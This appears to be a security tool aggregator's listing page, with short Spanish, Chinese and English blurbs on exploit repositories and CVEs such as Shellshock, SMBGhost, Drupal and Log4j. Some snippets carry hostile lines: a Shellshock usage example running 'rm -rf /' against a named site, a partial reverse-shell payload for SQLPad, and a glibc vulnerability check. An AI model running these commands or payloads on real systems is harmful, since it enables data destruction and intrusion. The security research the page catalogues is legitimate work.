ShockZaum-CVE-2014-6271

CVE-2014-6271 Script para atacar la vulnerabilidad shellshock root@kitploit: ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

SMBGhost_Scanner

SMBGhost Advanced scanner for CVE-2020-0796 - SMBv3 RCE using ollypwn detection technique SMBGhost. It can scan the entire internet using masscan or, a single ip. It can get more informations about targets using Shodan API key required and write results to json file. Otherwise, it will print...

CVE-2024-23897

Jenkins tiene una interfaz de línea de comandos CLI integrada para acceder a Jenkins desde un script o entorno de shell. Jenkins utiliza la biblioteca args4j para analizar argumentos y opciones de comandos en el controlador de Jenkins cuando procesa comandos CLI. Este analizador de comandos tiene...

poc-proxycommand-vulnerable

RCE mediante /.ssh/config inseguro El uso de tokens como %h, %p en ProxyCommand es bastante popular para utilizar túneles y proxy de conexión mediante SSH. Configuración vulnerable root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nota: en mi evaluación...

CVE-2024-46451

CVE-2024-46451 Exploit de TOTOLINK AC1200 T8 - Vulnerabilidad de desbordamiento de búfer Este repositorio contiene un script de Python que explota una vulnerabilidad de desbordamiento de búfer en el TOTOLINK AC1200 T8 versión v4.1.5cu.861B20230220 en la función setWiFiAclRules a través del...

CVE-2022-39066

CVE-2022-39066 Detalles del firmware: root@kitploit: wainnerversion: BDPOSTEMF286RMODULEV1.0.0B12 crversion: CRITPOSTEMF286RV1.0.0B10 Requisitos previos requests pip install requests Inyección SQL La vulnerabilidad es una inyección SQL presente en el manejador PHONEBLOCKADD en el servidor web...

Audit-BlackBox-Web-to-Root

Pentest Lab : Cadena de explotación web y sistema Drupal to Root Disclaimer Este proyecto se realizó en un entorno de laboratorio controlado y aislado con fines educativos y académicos. No se ha atacado ninguna infraestructura real. El objetivo es aprender a asegurar los sistemas comprendiendo lo...

[SECURITY] Fedora 43 Update: environment-modules-5.6.2-1.fc43

The Environment Modules package provides for the dynamic modification of a user's environment via modulefiles. Each modulefile contains the information needed to configure the shell for an application. Once the Modules package is initialized, the environment can be modified on a per-module basis...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Vulnerabilidad de día cero de Path Traversal explotada en Apache HTTP Server Apache HTTP Server CVE-2021-41773 explotado activamente en ataques reales CVE-2021-42013: Path Traversal y ejecución remota de código en Apache HTTP Server 2.4.49 y 2.4.50 corrección...

CVE-2019-19781

本文是关于CVE-2019-19781中登记的Citrix ADC和Gateway目录遍历远程代码执行RCE的文章。 该远程代码执行漏洞是由于在/vpn路径下的../vpns中对smb.conf文件的验证不充分而导致的。 窃取系统配置信息或服务器信息 1. Citrix 1989年成立的美国跨国软件公司 提供服务器、应用程序和桌面虚拟化、网络、SaaS、云计算技术 在存在漏洞的Citrix产品系列中，由于缺乏输入值验证而导致的目录遍历漏洞 - 由于直接使用请求路径而无需验证输入而导致的漏洞...

CVE-2018-7600.

IGLOO Corp, Won Chi Hyun Drupal RCE 分析报告 Drupal RCE CVE-2018-7600 请务必将你的地址填入脚本中！ 描述： 在 Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。该漏洞可能允许攻击者利用 Drupal 站点的多个攻击向量，从而导致站点完全被入侵。 解决方案： 升级到 Drupal 7 或 8 核心的最新版本。 如果你正在运行 7.x，请升级到 Drupal 7.58。（如果无法立即更新，你可以尝试应用此补丁来修复漏洞，直到能够完全更新为止。）如果你正在运行 8.5.x，请升级到 Drupal...

[SECURITY] Fedora 44 Update: environment-modules-5.6.2-1.fc44

The Environment Modules package provides for the dynamic modification of a user's environment via modulefiles. Each modulefile contains the information needed to configure the shell for an application. Once the Modules package is initialized, the environment can be modified on a per-module basis...

CVE-2025-32462-32463-Detection-Script-

CVE-2025-32462-32463-Detection-Script- Vulnerabilidades críticas de Sudo permiten a los usuarios locales obtener acceso root en Linux, afectando a las principales distribuciones A continuación se muestra una breve descripción de las vulnerabilidades: root@kitploit: CVE-2025-32462 puntuación CVSS:...

CVE-2022-0944

CVE-2022-0944 PoC PoC para RCE en SQLPad. Este ejemplo lanza una reverse shell, pero el payload puede modificarse para ejecutar cualquier comando disponible cambiando el comando en la llamada 'exec' dentro del payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash ...

CVE-2016-5195

CVE-2016-5195 CVE-2016-5195 dirty cow/dirtycow/dirtyc0w prueba de concepto para Android Este repositorio demuestra la vulnerabilidad en dispositivos Android vulnerables conectados mediante ADB. No desactiva SELinux ver https://github.com/timwr/CVE-2016-5195/issues/9 ni instala superusuario en el...

tomcat-cluster-session-sync-exp

工具仅用于安全研究以及内部自查，禁止使用工具发起非法攻击，造成的后果使用者负责 tomcat cluster sync-session 利用exp 这是一个tomcat使用了自带session同步功能时，不安全的配置（没有使用EncryptInterceptor）导致存在的反序列化漏洞，通过精心构造的数据包， 可以对使用了tomcat自带session同步功能的服务器进行攻击。 使用 先编译出jar包： root@kitploit: mvn clean compile assembly:assembly 生成jar包存在于target目录下 使用，例： root@kitploit: ja...

Log4j-IOCs

Log4j log4shell CVE-2021-44228 Lista de IOCs públicos IOCs públicos sobre log4j CVE-2021-44228 Lista de IPssh 45.83.64.237 92.223.89.187 45.83.67.157 45.83.66.8 51.210.175.24 51.75.161.78 185.220.101.62 139.177.178.141 45.83.66.111 94.23.251.77 51.210.175.87 68.183.198.247 185.107.56.121...

CVE-2023-51444

本README帮助您开始使用GeoServer开发。它将指导您如何检出源代码、编译并运行。 GeoServer开发需要Java 8、Maven和git。由于Java类库的细微变化，我们目前要求使用Java 8进行开发（尽管最终产品在Java 11上测试过）。 更多资料： http://docs.geoserver.org/latest/en/developer/index.html == Linux == 1. 安装先决条件 从您的Linux发行版获取OpenJDK 8、Maven和git。 == macOS == 1. 安装Java运行时环境 下载并安装Java...

EUVD-2026-80006

Rsbuild before 2.0.9 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by supplying a crafted URL containing shell metacharacters to the server.open configuration on macOS. The openBrowser function in packages/core/src/server/open.ts passes the URL...

looneyCVE

Paso 1 Comprueba la versión de glibc root@kitploit: ldd --version Comprueba si una máquina es vulnerable a Looney Tunables CVE-2023-4911 root@kitploit: env -i "GLIBCTUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Si obtenemos un Segmentation fault cor...